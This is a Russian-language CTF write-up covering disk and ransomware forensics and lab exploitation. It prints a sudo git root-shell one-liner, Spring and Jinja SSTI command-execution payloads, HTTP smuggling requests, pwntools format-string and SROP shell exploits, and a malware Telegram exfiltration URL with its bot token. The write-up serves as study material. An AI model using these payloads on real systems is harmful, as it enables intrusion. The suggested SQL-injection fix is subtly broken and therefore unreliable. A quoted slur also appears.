НТО разбор RopRunners

LINUX

Нам дан образ диска .vmdk, замоунтим его в /mnt с помощью `sudo guestmount -a Debian\ Forensics.vmdk -i /mnt/vmdk

Будем использовать `chroot /mnt/vmdk /bin/bash` для удобства.

# 1, 2

Просмотрев файловую систему находим следы установки `gitlab-ce 15.2.2`. Он находится в `/opt/`. Быстрый поиск в Интернете выдаёт, что эта версия GitLab уязвима. Возможна RCE с помощью \*\*CVE-2022-2884\*\*.

# 3,4

в `/etc/sudoers` написанно что `/usr/bin/git` может запускаться с привилегиями `root `без пароля.

Можем использовать этот файл для повышения привилегий.

```bash

sudo PAGER=’sh -c “exec sh 0<&1”‘ git -p help

```

# 5

Прописал свой ключ в `.ssh/authorized\_keys`

# 6

В файле `.bash\_history` видим, что был удалён файл `linpeas`. Это популярный сканнер системы. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

# 7

В `.bash\_history` видим изменения файла `/etc/ld.so.preload`. Так он записал файл `/XxJynx/jynx2.so` в `LD\_PRELOAD` - переменную окружения, которая загружает библиотеки в ней.

Jynx2 и является LD\_PRELOAD-based rootkit-ом.

https://github.com/chokepoint/Jynx2

WINDOWS

### 1 - 2

Прочитав легенду к заданию имеем, что компьютер был заражен путем перехода по ссылке из сообщения. Скачиваем файл образа и запускаем виртуалку. Первым делом, запустив винду, начинаем изучать файловую систему и ищем странные файлы.

Находим C:\Users\Evgeniy\AppData\Roaming\Rjomba.exe

Далее можно посмотреть логи через просмоторщик событий. Пробуем найти действия по этому подозрительному файлу.

### 1 - 2

Прочитав легенду к заданию имеем, что компьютер был заражен путем перехода по ссылке из сообщения. Скачиваем файл образа и запускаем виртуалку. Первым делом, запустив винду, начинаем изучать файловую систему и ищем странные файлы.

Находим C:\Users\Evgeniy\AppData\Roaming\Rjomba.exe

Далее можно посмотреть логи через просмоторщик событий. Пробуем найти действия по этому подозрительному файлу.

В описании события видно код. Если всмотреться детальнее, то видно, что файл скачивали с http://95.169.192.220:8080. Перейдя по адресу видим файл aboba с содержанием negr и файл prikol.exe, который и есть Rjomba.exe. Отсюда получаем ответ на первые 2 вопроса. После фишинговой атаки на почту, пользователь выполняет вредоносный код, который скачивает данный файл.

### 3

Чтобы ответить на следующий вопрос продолжаем дальше искать информацию. Зная, что вирус получен по почте, попробуем найти логи или бэкапы различных почт. Исходя из того что других почт нет и есть логи и файлы только аутлука то делаем вывод что юзался аутлук. В темпе есть файлы .ransom и обычные .txt но в них нет полезной инфы кроме адреса почты company\_worker123@rambler.ru.

По адресу C:\Users\Evgeniy\AppData\Local\Microsoft\Outlook\company\_worker123@rambler.ru находим outlook data file. Распаковывая данный файл с помощью binwalk и анализируя его находим странность с файлом TOP\_SECRET.pdf. При использовании бинволка видим что экстеншн "ненормальный".

TOP\_SECRET.pdf /TOP\_SECRET.pdf .cmd

гугля что то на подобии .pdf .cmd vulnerability находим что это WinRAR RCE Vulnerability (CVE-2023-38831)

### 4

ВПО сканирует список процессов на наличие отладчиков и другого ПО и завершает их. Например, taskmgr, x64dbg.exe. Получает информацию о процессе через WINAPI NtQueryInformationProcess.

Противодействует отладке с помощью функции INT 3, которая останавливает отладчик.

### 5

Открыв файл в гидре, можно увидеть функции из библиотеки CryptoPP.

По названиям использованных функций сразу узнаем, что это 256-битный AES-CBC.

### 6

Понимаем, что реверс этого файла ничем не увенчается. Тогда запускаем, замораживаем и записываем полный дамп памяти процесса. Поскольку мы знаем, что это 256-битный AES, то ищем ключ длиной 32 байта. Фильтруем все строчки в файле и находим подозрительную строчку amogusamogusamogusamogusamogusam, которая и является ключом.

### 7

Чтобы узнать какие данные ВПО отправляет на сервер, мы будем перехватывать траффик в машине. Также установим свой SSL-сертификат, чтобы расшифровать SSL. После запуска Rjomba.exe видим запросы на Telegram-API бота.

- Запрос: `https://api.telegram.org/bot7029575943:AAFNYmmW\_QqqMcaHZ-DFRn3M05DptExeAGE/sendDocument)`

- Ответ в виде json

{ “ok” : true, “result” : { “caption” : “{ab942673-d5a2-11ee-b27c-806e6f6e6963}”, “chat” : { “first\_name” : “SOME EVIL HACKER just kidding”, “id” : 6591405725, “type” : “private” }, “date” : 1710943588, “document” : { “file\_id” : “BQACAgEAAxkDAAM3ZfrtY\_0jC\_8Uxe600S8tOOz2A6MAAlgEAAJYddhHPBrSlQABzkvdNAQ”, “file\_name” : “info.txt”, “file\_size” : 10347391, “file\_unique\_id” : “AgADWAQAAlh12Ec”, “mime\_type” : “text/plain” }, “from” : { “first\_name” : “Testing bot”, “id” : 7029575943, “is\_bot” : true, “username” : “some\_forensics\_testing\_bot” }, “message\_id” : 55 } }

### 8

В пункте 6 мы уже нашли ключ, осталось только найти вектор инициализации, длиной 16-байт. Он находился в дампе рядом с ключем. Чтобы расшифровать файл перекодируем его обратно из base64 и расшифруем с помощью наших данных.

Финальные ответы:

1) ВПО попало на компьютер через фишинговую атаку на почту. В журнале событий мы видим как Powershell-скрипт скачивает полезную нагрузку и сохраняет её в файл Rjomba.exe.

2)95.169.192.220. IP-адрес принадлежит хостингу MVPS и находится Нидерландах. Работает до сих пор, на нём запущен вебсервер и SSH. На вебсервере лежит само ВПО и файл со словом negr.

3)Сам запустил vba. Антивирусное ПО не успело обнаружить скачанный скриптом .exe файл и произошло заражение.

4)Завершает процессы отладчиков и диспетчера задач.

5)Rijndael AES256-CBC из библиотеки CryptoPP.

6)amogusamogusamogusamogusamogusam

7)Ключ: AAFNYmmW\_QqqMcaHZ-DFRn3M05DptExeAGE GET [https://api.telegram.org/bot7029575943:AAFNYmmW\_QqqMcaHZ-DFRn3M05DptExeAGE/sendDocument](https://api.telegram.org/bot7029575943:AAFNYmmW\_QqqMcaHZ-DFRn3M05DptExeAGE/sendDocument)

◦ Ответ

{ “ok” : true, “result” : { “caption” : “{ab942673-d5a2-11ee-b27c-806e6f6e6963}”, “chat” : { “first\_name” : “SOME EVIL HACKER just kidding”, “id” : 6591405725, “type” : “private” }, “date” : 1710943588, “document” : { “file\_id” : “BQACAgEAAxkDAAM3ZfrtY\_0jC\_8Uxe600S8tOOz2A6MAAlgEAAJYddhHPBrSlQABzkvdNAQ”, “file\_name” : “info.txt”, “file\_size” : 10347391, “file\_unique\_id” : “AgADWAQAAlh12Ec”, “mime\_type” : “text/plain” }, “from” : { “first\_name” : “Testing bot”, “id” : 7029575943, “is\_bot” : true, “username” : “some\_forensics\_testing\_bot” }, “message\_id” : 55 } }

8) sFYZ#2z9VdUR9sm`3JRz

CTF TASKS

crypto 1

tomatch = get(url + "EncryptedPin").json()['encrypted\_pin']

piniv = getiv()

print(tomatch, piniv)

for pin in range(100000):

if(pin % 100 == 0):

print(pin)

curriv = getiv()

padded\_pin = str(pin).encode('utf-8').ljust(16, b'\x00') # Дополнение до 16 байт нулями

try:

encpni = encrypt\_pin(xor(curriv , piniv , padded\_pin).decode("utf-8"))

if tomatch == encpni:

print("FOUND - " + str(pin))

print(checkpin(pin).text)

break

except:

print(f"error occured with - " + pin)

print(post(url + "CheckPin", json={'pin': my\_pin}).text)

После прочтения исходников становится очевидным, что IV нам всегда известен. Реализуем Chosen-Plaintext-Attack. Можем подбирать пины и ксорить их со своим IV и IV зашифрованного пина. После этого сравнивает шифротексты и когда они совпадают - то и пины тоже совпадают. Запрашиваем флаг - задание решено.

web 1

В задании нам дана ссылка http://192.168.12.10:5001/ Переходим по ней. Видим обычный календарь. Можно заметить, что число 20 является ссылкой, тк оно синее. Переходим и видим. Прочитав хинт, очевидно, что флаг в /etc/secret и получить его можно через параметр в url. Пишем в параметр ../../../../../../../../etc/secret. После этого скачивается файл с флагом.

web 2

Прочитав исходники, заметим, что используется Framework Spring. Гуглим Java Spring SSTI Manipulation и на втором сайте находим эксплойт.

Делаем запрос для пароля

http://192.168.12.13:8090/doc/$%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20password.txt%22).getInputStream()).next()%7D::.main.

Потом делаем запрос с полученным паролем и достаем флаг

<http://192.168.12.13:8090/login?password=33a61c66899af2114c8f98d80ceb2857>

web 3

После прочтения исходного кода понятно, что нужно сделать flask injection на url /flag. Но этот урл блочится haproxy. Для обхода будем использовать http smuggling.

Код на Python

'''

import requests

# api-endpoint

URL = "http://192.168.12.11:8001?"

with open("test.txt", "a") as f:

i = 0

while True:

i += 1

r = requests.get(url = URL)

if r.headers.get('Content-Length') == '11044':

pass

else:

print(r.text)

print(r.headers)

f.write(r.text)

'''

Запрос для Burp

'''

GET / HTTP/1.1

Host: 192.168.12.11:8001

Content-Length: 148

Connection: keep-alive

Transfer-Encoding: chunked

1

A

0

GET /flag?c=class&name={{(config|attr(request.args.c)).from\_envvar.globals.import\_string("os").popen("cat%20\*").read()}} HTTP/1.1

X: a

'''

reverse 1

code

#include <bits/stdc++.h>

using namespace std;

#define LOG(x) cout << #x << ": " << x << endl;

static uint32\_t DATA[] = {

0xEDCFE1F3,

0x646BCD23,

0x50F9AD57,

0xF299B1E1,

0xC6A9B6E4,

0x3280614C,

0x93772B02,

0xAB2C3A43,

0x2A0D936A,

0x1BFA14D4,

0x255D6F2F,

0xC447F66B,

0x5AD96CF5,

0xE964AD12

};

uint arr[256];

static char isarrInited = '\0';

void initarr()

{

int j; // [rsp+0h] [rbp-10h]

int i; // [rsp+4h] [rbp-Ch]

uint64\_t v3; // [rsp+8h] [rbp-8h]

for (i = 0; i <= 255; ++i)

{

v3 = i;

for (j = 0; j <= 7; ++j)

{

if ((v3 & 1) != 0)

v3 = (v3 >> 1) ^ 0xEDB88320;

else

v3 >>= 1;

}

arr[i] = v3;

}

isarrInited = 1;

}

int64\_t f(char \*str)

{

uint32\_t z = 0xFFFFFFFF;

for (int i = 0; i < 2; ++i)

z = (z >> 8) ^ arr[(unsigned char)(z ^ str[i])];

return ~z;

}

void find\_chars(uint32\_t value)

{

bool is\_find = false;

for (int first = 0;first < 256 && !is\_find;first++){

for (int second = 0;second < 256 && !is\_find;second++){

uint32\_t z = 0xFFFFFFFF;

z = (z >> 8) ^ arr[(unsigned char)(z ^ first)];

z = (z >> 8) ^ arr[(unsigned char)(z ^ second)];

z = ~z;

if (uint32\_t(z) == value){

std::cout << char(first) << ' ' << char(second) << ' ';

is\_find = true;

}

}

}

if (!is\_find){

cout << "no " << "value " << value;

}

}

bool check(char \*str)

{

uint16\_t len = strlen(str);

uint16\_t i;

for (i = 0; i < (uint16\_t)(len / 2); ++i)

{

if (DATA[i] != (uint32\_t)f(&str[2 \* i]))

return false;

}

return DATA[i] == 0;

}

void solve()

{

initarr();

uint16\_t len = 26;

for (int i = 0; i < 14; i++){

find\_chars(DATA[i]);

}

}

int main()

{

solve();

return 0;

}

text

pwn 1

Закидываем бинарь в иду, видим форматную строку, функцию win и exit после printf: ![[Pasted image 20240321141948.png]] Можем переписать global offset table, так как pie и relro не включены Перепишем exit на win

from pwn import \*

# r = process('./main')

r = remote('192.168.12.13', 1923)

elf = context.binary = ELF('./main')

win = 0x00401156 # адрес win

payload = fmtstr\_payload(6, {elf.got['exit']: win})

with open("/tmp/payload", 'wb') as f: # дебаг

f.write(payload)

r.sendline(payload)

r.interactive()

Получаем шелл и читаем флаг в /flag

pwn2

Открыв бинарь в иде можно увидеть всю программу в паре пикселей:

mov rdi, 0 ; Alternative name is '\_start'

; \_\_start

mov rsi, rsp

sub rsi, 8

mov rdx, 1F4h

syscall ; LINUX -

retn

Поскольку rax не инициализирован, бинарь syscallом запускает read(), что можно подтвердить через gdb: ![[Pasted image 20240321143212.png]] Поскольку nx и pie выключены, мы можем закинуть шеллкод и перейти к нему с помощью srop.

Прогнав strings по бинарю можно найти строчку /bin/bash 0x41430 Нам предоставили гаджет pop rax; ret;, С помощью него мы можем выполнить любой syscall. Так, syscall sigreturn берет значения со стека и кладет их в регистры. Таким образом мы можем управлять любым регистром.

Воспользуемся SigreturnFrame пывнтулза, тогда наша цепочка = pop\_rax\_addr + sigretSyscall + syscall\_addr + frame

В rax укажем syscall для execve - 0x3b В rdi установим указатель на ранее найденный /bin/bash

Код:

from pwn import \*

context.binary = './task'

# r = process('./task')

r = remote('192.168.12.13', 1555)

entry\_addr = context.binary.symbols['\_start']

syscall\_addr = entry\_addr + 21

pop\_rax\_gadget = 0x41018

print(hex(entry\_addr), hex(syscall\_addr))

payload = b'/bin/sh\0'

payload += p64(pop\_rax\_gadget)

payload += p64(0xf)

payload += p64(syscall\_addr)

frame = SigreturnFrame()

frame.rax = 0x3b

frame.rdi = 0x41430

frame.rsi = 0x0

frame.rdx = 0x0

frame.rip = syscall\_addr

payload += bytes(frame)

with open("/tmp/realp", 'wb') as f:

f.write(payload)

r.sendline(payload)

r.interactive()

STAGE 3 исправление уязвимостей

В файле auth\_api.pyв строке 211 присутствует самая простая SQL-инъекция. При смене пароля злоумышленник может выполнить любой SQL-запрос.

Например, в графе новый пароль можно указать:

1'; DROP ALL TABLES ;--

Вся БД будет удалена.

Исправить можно так:

update\_cursor.execute("UPDATE user SET pw = '?' WHERE login = '?';", str(new\_password), str(username))

Стоит отметить, что пароли никогда не стоит хранить в простом тексте. Пароли нужно всегда хешировать с солью.

Всегда нужно экранировать символы перед запрос в базу данных. Также не стоит возвращать ошибку базы данных для пользователя. error = “Ошибка БД: “ + str(e)